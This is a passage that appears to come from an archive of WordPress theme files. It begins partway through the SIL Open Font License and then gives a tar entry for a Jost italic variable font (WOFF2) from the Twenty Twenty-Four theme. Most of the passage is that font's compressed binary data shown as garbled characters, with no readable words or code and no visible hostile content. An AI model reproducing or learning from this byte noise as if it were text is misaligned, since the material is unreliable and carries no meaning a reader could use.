of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. TERMINATION This license becomes null and void if any of the above conditions are not met. DISCLAIMER THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. themes/twentytwentyfour/assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2000064400000171170152335264760023662 0ustar00wOF2x7HJ$?HVARe`?STAT4'."/~ `E 006$L t4 [q@K"CYG%T_~9e$# ϭKj6 qf"EnDI 2%JA6N^6KȖd1xڙ.<#SJڦI<<ﶞ(CDg[LLƲʺmˆ]w]-[]ur>A;e<?`kaTX{u=yhkHi$:!gH!mB|x^3?I5Py!+\":TH]󴖾?pٛ*)AJ&1蜬U-PAN96dI%LQ&K?{s!SJ1$ tf[W&q(PĊ&`RT?'vn.<g , iHb[#2NtBH,}sicǶė挽q̊TCZ'|_WHb*vJF<xiK$T2Lh;dQij80Rn#иQۑh;ʫq 0ۜ~$):bZoJt{>F7 YƼ"f8iJpۛlμIaQdHMx3Q;}`3N?le١ڼf#LҾtFɹ2=3g*2jw<~1| BjJm55 kH yAݪ.ɴ(0 .$$00l߼۲+T|QA@@Al75x&o0 ],w?dre=\ a)m=(wШ쪙LW*sJ$dd:B K.+#vJiA XzZE狝 [=2l<"Tcl&  g oRJ^yC;Ƶھ:r qg}; f;?ģH"._ni^e^Rи| H>uX-HGk]TƷX  =%5ǂboHD`)(/VXV'~5u4aC l8M)Z#xA -se@.+ e_S?>c ѯ0+y2dF˒7`O(H GN$~2~*isy'Xp~2&XIYKXm=;' .e_,7t-ޜ.ł"qVTȈ8!!]ɔc'tneկ5gx⸚IP};;^fQn*}+l5D/дGvێnbd/‘!V~s[mI.!#K1Ss,VlؠR/Pq՜oWzу).0մVyni,RmkFچ,Ч߬Ta" #qN$3aLg"MJP̷ q-Zqw*aIfI;d+ki^Bz!?Cv%:T5_',}uv"ň_\G;X,`Y0K,/= jߝ?!kA19 ߋ@ \&DUz7csu<!* 3/yRK{E.?< =#IRu5h֢]>m"Hv]xyWǺO/;;go}k?~tѯ~hoj0l*D{LXp@cs1.Y\OxM>~G~ӟ~?z3~׽29?~͏}ӿ;Ov O[nYztΞG~w?ʜ@쫏t˭ƫ}9_yW/.)v2y8*K/Yjħ{ȇ3TgƄdʪSӊO8947~Ÿf$[.~lߐ^_z|⍏[&?M<: ƫ =Ҳ͟3^.ZqH?;Hx#J'5D]wtZuU7uWo#} vCx9x,&cj̭s]Kl@C9 95 P/vQDGA:G!?L_iԤ벮OjIqND6@y tokׁ~Ə=b8O?s=Oޭ?սׯ\_횥~]]Q\A򧻷v[*3^%b7 0>:}thϿxx\ΖQrRzqWTWeEUZUT4Pj?͏f2QRgh}9⌳]tm(/cهDִ3Ĉ I&-ڬa̜6wu?ް-R$RJJ*ӪM(7c֜y M@%E*t2$(<$q(QVAF%YUTSTGI=e T4RKd::ꢧQ|->{ D~CvhEglQLLE}_N[D9k,;o%]ۮqK<7aBpT 6]׭|Bp5(=xc6G[|%\JPi=߳AQ`4 d`[&ect .Iq 5e3b'?7_aKWhFI1p]pP<$ FCA͍&$@ax~>*&8k,ZeŌ]v+ّsg6E%$% N?tzE|_sMl[JD! HXzt%,zˊ}||8vX3m_жr9y`kJ'i}皏6MIKAkʡF}isEem7]<済Lf|942?KZ~D.v*pBRkC[IĞ^g^aISb#2Dvu^4d%LPލ\G76vdxOX2lxUr25j!l1 " PGwBCuY'2dߋqv'Ɯe-^;?g6Bi3'H yk-0thb7%8h>rM~vI5Yna ash4~˷QSH[ݔR14-Q܉qT@MM׳/~/Bͳ $O b2 "g <>JC8>Y#'Дk//ZvζѢT)bkbb9O%\-ƾ*&Gl3tWT?M/ƹ¨i/h9T2Տ@=x?$$<}8ޣQ3=,aM$qa›9 g/J7zsR؉!>y9z arS3oߨwb\\0Ӧv֎ EjR]8(cHӑdv.]*BfFIz mϳ$sꜿ3^F zT@_iu/e,gZ%?+@,Cb }h|YIwxⵍ!El2~}:xvSXN<--}RyD<5Yr4NJiHE&(ū-*qkriF`x(;t7@ .or bIeչ7ȃR\}cqKGc.~D " O>\qjt=`)sWXrTd鱶 & KCw&bC ]¨wx>\c4mNׁZ>لĞ)f$ BA^omjϗ!H(<^`)^H$ѳ̖:hLk#et lHmkQ9=BR cP+z1~܊MVke^c#2j3#A15L+ +9#Y;oq$)"M֕*Vy8f!邎3Q{Q9ig2ERgUa u<-ڹwj@FiRQtCKw0Zhe &ӷ7{Fm#x@3KZxSݖq8wMb/ؚDdzōtFOwQ&҂5Z*(gH\OB2Rr?']y4%]Fô6Va:o"S<=!8kzxF4:{5 LZLV?k@=WPZ*=oa;IͯLP ݘ)[4[).K]7L0$lpjO*CP?i%:'`1IIƳ`:C%V}&ΑiHlY/-͢{N++Q nBqg_d/=hnQrEm@ Vfɪ*HQfN]d9Sq(^%2<̘A'-6+>e M,5 F/KhfsT5"O^!PcyS=˂bgL]o>ڏCDq&JA&DBӡG֥Jթ)U'C1]K vk_$ɤ5Oj9//Ͱ=`ӕ2Q_&*-Xdvʘk;2.e9tYZ@4S\wLSM7*^1[z<ʳ)~<,$]TgW8XڲjߠEnH'Q.Ja+Lp/xBMiz'U8sk 0S{="dDl2Ư_A&Ƅiv,?. /*+oH7~jN ".'0~0 70"XIlYk}kjE@6s̎Rp'@q-nƗxbVpl9_=2w+bgHSeu츼qIRe7,Խg[&ppe%jm*˒Wޑ/7<(s?ߋ@ ^%5E*DVEef_eB!i2tjRbZ42SbK 4e܂$S,2* AD;i9]O phl.ʠq5Z;"u4en- C$(V DOrANޤX!*=ZɨjޤjӴkQG۽<{r#1C DzoP LUp ,Vbf6)yDZ.wO,5ITj% I[x!¥[dZmo+Vn}fƶv d2C6_ih̳!k_<~|>ofpTĵ&҇2}aB/0C)cٹb 1h=9ཀ]f6?M-4&f>.Zo<Ņ0BجInaf,M*RZ!eqvAH1R=h3炰~WOn#8޵a7-o7|a8 24 R5pxybN4ڎQr42hޒwR)Q[W?kp&aݱgO]L;G{?~b^F|Ky՜ J,#,|Tұw6T--- Æ2鉺i0:kbjv|`kԧ&u/i)nL%ȭE/Kr_LCcUA&ܩ -* qTӧpu$389[6@c- W@;;YRfhDUe[j 4:T~ūOB}a}ZaXa>:;aݱg!cpip~!oU8N]㛶NdƪQsVq]/vےUw"szу"%GC& n 0#ˡ,ii0fرqYRiPLNJ xB6e^;̭uAi_24ĭE-w՝DZ,k1{E#.޿ K=°"OBiվAcR2Nr 04.5Ƥ&M',ui J3[vK>C[4)Ag_ҎP&hJdW}GԔI` %}5&9=/g ~z.# OHe`DX۹FoI;c8szqWEaZ>\hOwmTq?78fʷoj4EGqHO~.}mCOG}]+_~jfzOkZ˘bϋ'u(xҍg[/ݵ1@Z^֖E iX}`~\ayJ$Ri&%sƂvw 9 3^Q?:AV?75o!bi| P1ݝZ*t:DTy7~ND=Zq دeej\|q e;⦽d3 qSv=<SMV:8濚/P=o]wĹ)`"VH7W2Nl&+DPar<[`>r5t UMy,i P._`PҗT<"OcZ8 )R ؼԖ8ބ9anʵt0!O**P DL5I>=v!nr(ƯuJ1OY-8X҄ɸɑiQ.+X_Qs9jZ?2n"@95.qfqrp w!{Yo~ZqƇ,4^v9$JSX򖘮* MȝRg6xf eOQ@r[MǼʔ78)q QYwU{|P+sSBk {'Zi: KsWNKu7} N6 2l$h5LFC[I`@ƅY(zt/9PC'ػG Gs 'ӾpYISALrN!v!5#:Rn>4H{ 8i<u P@+/gd(k+N|>ӡ10=yUcҖ㤖0Y|ici༇4+-|7q}*>#*l0REJZ$0 fLtءx.o| %SMiW+ޱD/){wwjS5NAn(o?6tqWw(d*PN#n>Hز^Pն|<3= _ѣ62[(W4̏O/Z̠uXo¬^FY%7Jk qZ0F!kQNsv^7Ǣ4 ?> hE.PgxI İ9s9ޅ0ڠ9>FiC>Z .=do뱁uVdZ513|WX*i.y1&GvlAA:6[Nd+|T_$#csסP5n`qĭu, ^ 4hq:CF- UCJtj) S1u_9tl-kj"rUn-``._ݐӶ,eE m%9NE\‘#Z30f3 !vT+>̭I N}ʚ+ȺIt)oj ``LT1dlICѺz!5[Y: j9;;?xSPц(4MLz1܊\xbfk=,i쩨q[IPViZ+ /Peu v3 5{"|gtz~Je;N+ 7be=t~;e. B+c -M1cRH oD\AZhW5 -,"fUo$6r|<}>Xt`ӖKMZt'FI0I9[>jv{4yێ ]EOsGԉ<V@ō~, \yr<8#ՑueW.b w4V8-M@$uV+7 A"P}ΔES`"q0mv9  \fOh.K78iЁ5I_ LwY8qWU ɲ=>+Tv`z%5V]Gn?朿d2*uWْjRI--:csp'V:%dƺsX(ڕIغ ٖF=aCJ VOxf 2|u`ي /TYMxE5FBtFCp Qe{?,8?|}AʱūI E!Z =iu'֛)`;Øwp(D.d`^ AS\D{-TĎ롒C2Fͼ5_G0sH1jjt6ʝ:Гʴ iEН0O`M4R{ɤgf 2 vz#iԹfhWx@̊A" #oڬS5ҦP]DLYO8.tCC Ff/ǀ?INBc!XMy< ƺ"e ,ʣ:ͨZQ~ɯF07կt`gx27,5m :ri_ppj{GP}>s|./;;W2ntkyI^ ;>p+JL0CZGVV| F+=ceD$D[<v'"3z@[iR\s>/Fْ#æp#SS8=7'`L`Zjy--O( "ںsMRL4VhzZd0;b9f#MUJ0]LVIR1Y㡚,'OcYBa|X*FJ&t)$jHZ,pV/6k8U0-KAi23@63B[r0&iS]a_ΗonOpB%z[o7{6M'_B1vYŀC2 kFǷ&(5+::R*҈K#2eYm$^J۬0r!&J8E B7Q5Rc^>`/<:Ni T4}ɹltipZzH_iNJ}ؔDcvrj.^;N*t ݌*ĠJ OC[DY*V-xr?zo[sn+uN#\=6Aqt߅>F#TOJ,o~ALr)3wW [?% 5{K;bI hyO'Y3N`cO4Bݦ;A\s2Қ_K}|,C=0SC~ C{IzKa׫_ ZCȫ4aN}I먝(T &kپxwnԧhݝ? ަf#R|YP#Ia"S!><7\[˟ON˸RC u&ۇٳaB,hIW Nhb450@qVfxWǓ98u& aZU[%ZdPђ>7tl]]Ehr(`føc& r RaQt&6\A-T~ !*MyFTWB^_Sܗ=׀ vo=_*RI{xt,%5̥JL7Pr h!fT;g ]Kv#'exxd^9H}U ee5Y?niqǪpҿyX1 m,<]E˜KqɔjR%`3CdE*"}`$*OȊ3k/2 #PgUgˌtӀϤz+Uސ] N` 4%D EOFL`0^QևvnKL=nEk#Xby*$M,QU$W^B4g(W XBrвȗ ?t%1Vΐa8c|)oGDR" Slk}sl+1vnM#tܤfxh|d]-o/-Y\#e;WXݡ?=> zpob }=L3*NM>ETѱcmfp&lHO{g V~rTR`wN3uJGK.D&\@oZRz_uOwChS0l/Sol2Lތ:)2$0%D>$h*U %Ӵ~M|/4X2Mm9 ۳am:5a-Eq-8N2}2SqU@;5yIAF*`++2peDx)%óz =i5/,nݞe8蛡 _]W#4?}3;- :䣉{6x63&֗`fIej %v nh5DR,f"ss мB q g׋DXΰފ%2V lyoLjCT3_g5쇾=ܐVsyJL.lk?BBUیlߗ@M^׋^Xcꇊ" -VxtWǭ"a$L)4u^0s8%1s##vRw7x,yP#.)cDB5 vC CMF0칟 ́>D ;f? sk|YbW8|òa_*jl=ڨJ+ޯ[>"$D.OoDN7*s 1k̞{q>~=v-xMўXV"Pǥ0X[ZQ" 7SZֽWBP :`9_kf_m6Cz]%8 Hq&Æ:"dI;G 剦~{t & m=Y6Dg,GVmHi*dy"^6̱) eR,ȲltB޲_ku'p)hØ*|MInO3x@ %w ؔi\ $K,NeVB``ZL^\pZl&>2~ 'XKg3v9Lʁd)-*1BxKaH̙3xtlPMd=_b9&yb3PsE^!LVy", N"˲5Qpӌ j ̍vXl_e2 w(&u,t4:u4T+3 \VhYc:_v8EYr& *XIdb`2Rw2k~-V}̜vT嗛GkRdbt> tx^M0\^, _aYdW!fJ{GtR,6p}i,%&!/d);oML^szɚH%I?\X2105(gJo/쉊DC*T<ΠjM>!I.i.of;b=!` % eP\UKP?膉?C*]Q@; rg'iRM6_qȞk " MBt{DBXo>1mzuKNJ|L3Z!X>WRWTg+zq8{7{#{@9_KTbꪍL"(+~韟 ^W],rS9aGk`>y6{ )?ßD>]at4`t@wڼxuP(k. uI=!C򈀦$ L7xq".>gNH,~{C+C%sT9 $'$[{lo;FczJg<ܘT_ddsrB `%xt70m2~6}ka OLxїaP26FAfB1'g~Voƈ>,vN!8By>bM _ '-/$IyBrd@Z$ sl)JeQBcq/|/YO'c*l ;sjAas}NcB) r갴p:Cm&⦼#V9m@A6bkQ3TOVl}#Ijԗύ9NEvn;ωT>xT ƿ>>TKfSN)~LzHcDz&L7u6ߘ~m,b,Dy(gKY>'܋VgJaY91nМl7? W)2,k),M\amԓynZƷ%sPLGc!anmj_ا \_x_n~ 6'Oa VR/GYޞgB#],ѿx7 <3{qNpSNoqĉ=vDz,Ƹ!{n&tvUm.ƜaX>2g76_`4Pߐ.ы֣6쐗"W"˜\)A7@Ծhy I*{ss_5;I,9sgbxÜ2s~&JIM`St -'Q2<?$ɳhP]I%qU**$kr.:XX$4 ̠Ϡ[gx-N` u'hN,o<OuUkJ8kϩ!{r$ykYfOՑaCM:P4z9YMcewXʲ=v#^o^_ _;wXw&@,~Vu-Z$Ơ\RQOQ z5{R?!$-l=Bt<~䊆AX]`⩻$0IIL;=-6%Gq kY9|͡?'QNuՠT9IcR&jq>*~NPg ]@F&$.%cyX^>t8@ԟّ!x ]ۨ5%Yi$Kk $ae4di[d<>2B!B ̵XaɬB],-9v^oAj6{jy*i:Y3?6+< tBɌ" `Ad/JlRzJ[K4mp_a8 Ɛ̞O4]gd y1h/o8#1lG< Py?V /x+f@>nz:!OX@c2.~ DN}K@-GY/mB(,Ը,nǟm&g*Ɏge-1@銿z0L4"{""iu R3)nЊ[Np5k&l8E?^w7w9|`?ùs[4c6w ޶9gkqpuz]ϪwS1spn\IC.*M3)ģˤ(x`~Y ڀlhb pZyrJY܉XP|Q[$ͦ\J(6II KJp6щeyqѪDb$Ŝ}&M]=m$巩ЦbJC*/Nyڜ\QcjRMOw8a 2B=!vPRxށ1k^.u,fņ2yI-S\9ewb/jv7}O냍S}4+}}֭&b]\ɖ2嚶E_&pi+y差/rMiUѥ@s&&1)'o^|CWffN.ܡ;kAk_/ [7h`3&=bYl?  |oШ-pyZh©3t%}lT)$XGqko5{I!d4gJm*iiqQfoekuAbKyԭZc-9 qqT/J(sU$ʓJՐvFk#Xѷٺuk%RTYNy.uci]E9qu#;餫f|YԪoVp{vs17Mu[Vּh LruůmV^&δ3K3nmqA P7̟3ÍW弩l 7sʝٽ&!Oٙ͗a:~ LWq/ ܕ x8YI!S_Ap{b~ ]@'<.^j}_>6R=z\t{o]mSE"lq"|X u`w~D8>jEľ1Gd)w< *<)Ԭf[b#/(,oBIq4 L%%a9n\"1 arjSamŤA<.%<$$L%)B8:uf86q?Pi::a:xQ_} 7``w􁜢[neF2Rlz)u$J *…Y!zs/QO#ˏ`5ʊSgPLZA>(pMIg- nѰ&tL WZH]aǚo$/z_cl|EovPF*<$ݐ |kcK̮s" `3O$C$4ɦRC mڞ(C Z  [ޛnOŇ"Z*Ury9zjBadn+uSe`gDOWI7)*jq~ff J--Z4?\܊ G\.WW'l&O"g(t&HtApR(0KkŅdKy:gtVs0pTX A 'Թ޽, Qq1)U&4]r~hx[aN[ErRdKQc.yb џɲd(@Tǻsa۰1toJgVCgu-&ͨG;V%4DE8B6leT汳qJQM>€ꌅ3usgߩoxxRVw#,{j`"LmD\cYJڠ膕O][7ڼ^ԭ1\5sq$sNw]U ?pfA0Kj"H ɩHȲyA l,gxQ1,mi]2qOڹ  jeɊ@۟"?NPԞNPL<.y|&=^bNF~z!} 8 &l5p>"Y6FY|Vfo-d2?ǼC@ шV,{7&3ԂD>>%Lw΂*i7Xˏx[ȼ* 4*mtVo(WZ53/#5*[XVk#^4\3B6Z!%ʣӧc;n3_BDZ񪱺cO'j9nt oyγE$U].ƶqEsL呏|VGcJ!zmOUb1Yydx>N-۽nɾ#qJ׸/idYRx\!N3a?[ir QsTT5.=(J?E|[N%k&XYn$8:qnkatN[Z=nH%j(~ z4sW{u _i$+'G3,"_)s^4/3:`&˅f$%8n:qqp ]2Kkw4kvBe1W׉|&M67e7kY-xd7Wb127%]>%Z)#(Q8s2RR zfuTY53V0ژY,WhG_t2r^Vh6 lħ0S;c9;P2f^9)֣^ym/dٹuـRP6DVNG{W_^}ޣ 5:aL@x~RѬDͣ~yJB$Ÿ}AE$>xn5UȠ8 _`:|,^Փ tWthwx)f)/Ɖ=~NsO孫W.2ME. ,AzYFg_D`;-i.޷Wq%`ny~TBxkS5YyuƝ5לk5 =5^4&j:Ԃ bFp'fLjU?Opx"85c*m*qA2|@%U<S㔮<'%=|!┻$Q$lqj׮%HǏ[UE:ZcxRL1sp! I|TflY-[-^ȝ͕UbBR%f>C[mY. #=5ՠLFɚN[H$!He.:R!)J̧bSDH:E嶹DqAPY}L]JufoGyqΟqtA0Y3Zo F 䎸{q"oDC$N-_2&( e̽Fs$ያ9 6<*}/z'iB}K8ښi}3 eTO-y+ 3t_Omq| K2o`>M ;0 ɳx#^>lL`&n4w̷_ZaAoAG+"> sʨ w^EM-ᝯj0\(nCsZzJ5LWU%Q }()XYץt ![D)[SA%H]>tF>g#!*mmz7U %`R_=2JN^b{ES6o2elוb`:\I3|pz]meյi4WdCH5^=jd5ۉ¶oH ht)N዁$7 vb'7k^Uˀ൰$i*sDP8Y2fz7B ruR)᥁*SY8{\'O*T 碖#ٳvZX\XNQ፸e=nRl3>TCO1Հ-rЭ L Dv<ƫHg$g*\Lȱ7奺R'W_8/U*Yren7ʎ'|TJ܃:d'm~|jwVi]jyn&˸#,E )siff%Vlu?˂K3dG\cЮbV3R27d4^|"9McpB.䳛 :I)9SJpQ#]5ѥOЏA.՛H)LL9/Nuān0uH}Y=؊ nF`$ERO J@ :{fKW$WHc(tNy^>H&fʛ]JlZiS{σ#Fcfsm"cFuo51F%Ӳ6:SȾ{0~E+ VԔynAӦS؍~ȐX B?xA{ޘIJp+AQ>mzkԇ걣{\K}bƟI6q5ӒC.;y(E *R' 0Q% mZL˚pх)e|@4Ùsw\g$pdt\8f/W?͸U]0&I$qn,٭=/0ز\a㢁 'k;1wC M@[ʫ1]РL`؋ Eh!CXէeC{|lW} #+;1:W{uaN&/]DL,7ӄ:nH2Fj@AzG&{L54̩X0}b_eP) "pڙP[7dV:.nW.͑C~U%Ozo;7SsX{P5y]R̦O'b\{ZD"*-T'}=.G,Ι^4vY@\@iF֨sHnz؆E0 =tL&Rt؏Q J'kob%kͻ] _:q;ϞG)))6a!^ \+-OΖX%>ޟ: ݈Gr,^K<=x1[ȃ&,FJ;$nAcENk"([u (,h& MV%ZA,˽Gs[#hM4E*''ϩVz!UĉP6\1Uxth&ً_@aSkZG,(E -oU5tsN+Ё=mǧL[U EV(nKmYi::sI!,ơk{̇t 1Δ K}2[W3,s=Tm"J4 W1d! QcYs|w2=M0U{͝퇻4;kFz34ZB z$KZ^b+AUBX~M gdŋsgn7=YjP6mHpܗH{twT ½Sf_c 1,<E@ľ7?GD e!,Bk@):$$b_ i]J1;;[ڐN$C-=g[<؉D#EN)DelNZ{}o~Eq^n5+؋_jѮ[ OS˰U^Gȟ%[~LBz'#9T{㯞`! 8) YC! >t:r,H-&ȝYNKHt޵j ffi51 Q!|"}mL^[ W@I>#ҌQ Tko L¾j546fp8XOŷk(Ϻ> j|T04iJaV'w_šՉQ|C~C'=C-jgx(]hTi$`;d\k0銘ŀ1Z_w .Ҡ!+lDj[CX K >KUcN+CA쮄k4? sw^[s-_g4kg5f6w"q%uۣ5"&ЎbIͷ-$E-_&2d }gqؽ5@f4MAgbru'DwhJPi0#M(gVtu 0iƼa҄[w'? oĭ E&ǜjAد@d d !.>!5Bb׊H;W0#})Gh5GOWXPO\ 40lXwspyJ5=Ou_t\6k58~8wfLdQ^Dkh1{~tD+fT O@w6A(4"BM5r &zyy ؜l@֭2i}2L>.I h }6wjÄJG ne͆.iy!o/BFl_<-by0\a۝%S [2,p;2& KTzAj]T4]݇";Ȧ-Fc>ds+a)YwD Mi Dp;=zF({^H3_EujS/=La)ͬxw`؉r̿p;f(i˸mɏ%Fr}1A3P&ÌfDbK <q^5D_t?d@Ib]AЮ uYײ ʬ4]@ܓT~P_2ҿF:L 9[#o'=6UqE|mZFcP*6f{UJ# *Z}ѪE(Ŭp>ZI (g_sHwE.[4>LgLr>&pK猳Œ@nNy> `-8inr '<#­~/A!Bl}-!pg*'2O$7y`wI\K(N igU6= gXH-#Zm<"BX9lmH+ 2#Q;e]yT58܋r48v]_^Fs2]FkOj:dRӈe56-t;\jY͔h:06(GGҀ 0]h26 Oߨy%؜r]qzSb !lDBa0z(_hORJɤb;w OnY}:-zǬϜ2.y&f zC. 7'mTd3MFs .:71foB7<:>66.~ iI*#Wi6#,Jlġϻ[8~U.懲H(t791 fKϐ=FS: 򎢙z?E־]ޟC<÷g!}~?Rv!M0[OniUohh)j]NS!S:1?~!mp&?a‡9L^IKJp8%hD[y!K&^bjq69$)nV]]HWb)Õq (,Uu-ˉe*8 g?>0,F9-Itt+4TG!_ouO/MbvQ (itLOaG ʚ_"9{jŽF[8`&P2l9.pJU+>ppCwϨ@DGq˯* X 5=[Xɫx%` &k}C$(xhre~L9?-&ueȦezܦÐ/Ȧī#@hb` _ qPAGXd-yVxSbhG9(E]Jۘ!NqK/]b.К5eLLXA3ԏ&;jx*\AR4O&/[ָ݁gJ`_֌E%:`#Ԧ~lUw߻dʕ'_X i%yI0+纬dT?~0]ɛ9nhx( #M*;՛LDσW0QW0pt&'s"<~"әZ.kP%DD)ܪG\(+F8nP*,2V\'mS pp9,D:3Ip #ɶ^|Ht)!M{`Ѷ2 i\WWJ  xo"A"pC %i]$:َv7g~`q+ќm-pC_r(]EKқAT2IeK};򳎝z o9a.3wLsǝ^8-m} f,n_w Zw=bsX`؎ EdXzQE$ZI:Yw CS$JIgZgWbxn%ۇq{%wdWq?>NjQEj8ĽRHHہ VћH!zR٤񮮼Dw|&=(J>U!TvH$)AdR"K?u!2iǖ34Ebض49_9kksvyL9b/b%QdvhL7-#,KbeqC'$A&tcل䦴4&W_9KK( [F[mbfУ6ki4*Y;1[k⥆%ppmg0iw˖[|HMߝj:Q<=Eα0Y qLAcV?30EldXu47۳l(үBFu,j۶iQp>Y}Xq/em힂 \VΨvD$W^Yo րx֡(ԁ7:k86Ma_ٚEM9TկI+wے(s!-YPۋF#a GM}?)(aզ   bŒZ#rOֻpҮ{8;1"r.U(3rLL뼞ƽz-ٍ}.pOSgqǕw/kyd?ơߴSU9Q<eT\%g6_av/+EU9 ׬_{U4ͥ0 Dff-dR5h^e"вhA#p:ʲ$Q)O S;=O=~F Ͻ$P|Cei}B$W)ğ>STKcoЍXL"/5\uUPz$3彜 IKNVؑ'aW9P<#%|)e jӚp *Lwu.q\ޗi^3W/k|ރ `UUܓ)) K\#+`W7TZi6N=[\X4~"}HJϰq58PPH %}E|![f )0h6-V핕e lgĩʟ*8i!YQ8^PW?PRginXܚb|(%Tg?G(m_^ c8dh1K˂W%A.ۤGgrM#̔u_ODmZ=t dv-6WVĉ6I| 3mڀE\..gH`+CNSxeǨ  #h3HXBD)a~,ڈ29)=}RgiR>mES^'(Tʂ:t"UyHa2PRjs`zz5/ &qtW[qe] !F\./|Ogq 5ɛj|C5''h WַwZiFr:Hjsrd:?8nnce7pL ThU<懩xrZy[# 0s@`cq?b&_F5j6GPVY1T/G1/CgI5uHYafZlZ͋*~|~lBI\PY\ycBMbvɟ~tگ0oHQ .5fԆ낢e͕-̰n7c*nvoJ"ȌPI^Qk `pkn+t1wm0'OTM*RX'KA͌~>lQضoerV%o ~E#t!%ʒTB1Ö3.*q3&}cnnSE?zhbVV6۰1NSؘIU/!u0fVjȘIZy?9hf14%^@ӝZh[&Ǧrp!Кly}A8l}>pXbJKC%*6r2|ӈsۍOC{k:p;~u82/n/)$d*N* 5EGeoQfwxء̧3&IP;+ lRFb"4 Rmk%^/[b񐑿G$ߩ렗c&TN_^eR6u)2^'#1(H7шpPخ^Yjb!떩p珫i@ #xcy:`ԙV{iU6-cD=q Wy (a⟘Rk h/mz e4rQCk8帪1m^` %]zz^u2ғJY6b>.qG( i6Z|\P0mo@+572Y:/r'ib8moәlk.E@gHo U) $X7̤ve]!=OhdUp79jFH\@SyQo?HpW^b6u}=4}DJT^"1%ik͇>.44z3Gp\AŇ2m&4'"-H2SߕVꏨz. HnOPɬ\󖎜~b&"q?s1fALGb$ U=uY8¥Y?v)L{KKmBp8xXt=w|G ߣ#`lM`N55DyYa6Oo<LdIlKJi/+i:v9_~轧Dmɽ6F+_ɹm/W@2C1 GcƳ8J̑( >r&3 :eܡNm7jҭ֢vr(zd,ZqGNT 95tدQº;{A>, "nuu1BFޭ=lěV$D/Q1sѮfC배 v\J}{bC~컽{VI D[徘cZ ^!.ri tWk6U,_Z*~fveY57q P 4ɟ*Vj('CA'+j3!eDؤ )BAy>*u97h- -Υ 좴3)Y h2jwOwSIM\bF ^k:I'|zJWC,Hȏ~u\GsPtws &:T|uCb*!cM`D.>ÍzrT6#".#{?Ҕ/ʯHew;^TKbeoQ𠄺''>Q•u M}:_t:<ʗ<<'RAy!/iO2G$]rڟ}Z NB cJ.6x\nrX:?.z tBkȚa ޹^| Ŀsh_؞>,EM羠A6QFqÎy`Hf\zDs@ɫNi`9F%%[B0?"CX4RlȬm/oO/)Ýx/E4[H 0Cp",;>F4/I> ~-X|:$6RBᙦ<8i\۾f1xѬ]RTz|L̸O)ft쪖*a 8\ {d<^%*+(3kBEzAMJK}Ւt1đ^#F/F8LťLB'U9j[:A*ˀ6Tq$Y7Q'aprMU[\^A;58z86G o; D6#S,oi*f*~EG'6xFai{b8+01Hp% ?Lqd>s?S񰴽>%a.4:(FԦhɣB(` }Lrl[V2'-]u}h@d/J]bIqC.\D=9a9Dǰ,THbcCOJ*#]~thq6PCد"54턤萰PkGҧ'GX'//VV›Ǐ [TY%+]5fكX'N);4\=͉VÜո~Nri#&2ϋauaP{٣`u־ęNXtQbU~WlUh,0Is8*"  [ƄY0Ίn<"3'kf.7,m/ gفd\(w@!$MXc&p8Nh=Ta>hSn^7+XC[z7|S mq4""*1wYu\ Q$-hLϺ睒WFiQGH.>@K4J.UA|uZ= wi"ԌoɷC}\&vj\ֈg*P|m&H\"?$n% RGuQarGOwlR@%ۄl;>䴾+mk(vi4k/`'Ƕ+w;-JZ1ݩ|Bqbw <πge^0߹qIׂJ%)M.D*;ցd1d)1ŵm\rlYT 'ےEoDUα_#j ){i8w&RF;K ch@K䕁aIf@4E<)iy~r!tmJ",b+:rXLV6|/?-VƜ |i5jo7Ԥu(Io|+SfZw~.D*Q" qZ)Wo-kX8\faڲH.V[/Dc@qCHPH_jѪϮՁGUw}؝[>~ycu=bfwC*ԧKm7~ϑ{@i&@63zCIG Jپ{ltB_. 2uir )%`u2^iL&u:ƺѭ`_ˈ0\Z|.qO a+U&gUA,[6sh_o[F@+BomMR]8+G8e&Ƞc \c?d H?F3 Yr2?pgO}y04YFo`5F驭{(p@$Nߌ *?7z~a>maj'˃z 3s]{켣9gʜvCEykJik( OmQ n#0iB~5F09 S&HD61nQ.C99ОV /Ssȷ7=n@jB{U{Ӄ02i? zMI\ n: ]U}rLH_ %sS]%#(8=DBgTxjv[d[0F6 1 ytWc]v, 9Wuoc[jJ1CrWKw~YX\@  {+K%2x e*UYȪBs9ӁDhb".NYdByˎ߳/j;da,f6fT+RJd6\(<")DL;G0n@OQt~Ьlv֔40G"_c|(QF8iS6< ֿލ:}N=/s *|?3@cpY%.lFq*9Xt[jM$郃!0U&_uiԆ.}Q0(ŚZn6R6S.KZh"_iΫF5!P9lQ \GT2}ʍ4.a|Xeƌo/xD43}z`TbN#yK XUg;&RMbQ熮ǨC-#pl 'XZFP}e@A}khRZ aE#M(fi,F(EIHjk$.'I<(AȖ|$͖D9'#1Uo*R:!,Ks;0#]tBO|єᚢPy]mA,@_p*,W&ftu~ G l[;z:s\+gNK-s m`e\e4 4|qI-BTp:^)T7Nַʖ$^s&D@rCǏյCoАJ/ŚʄMK2`5Hjw U 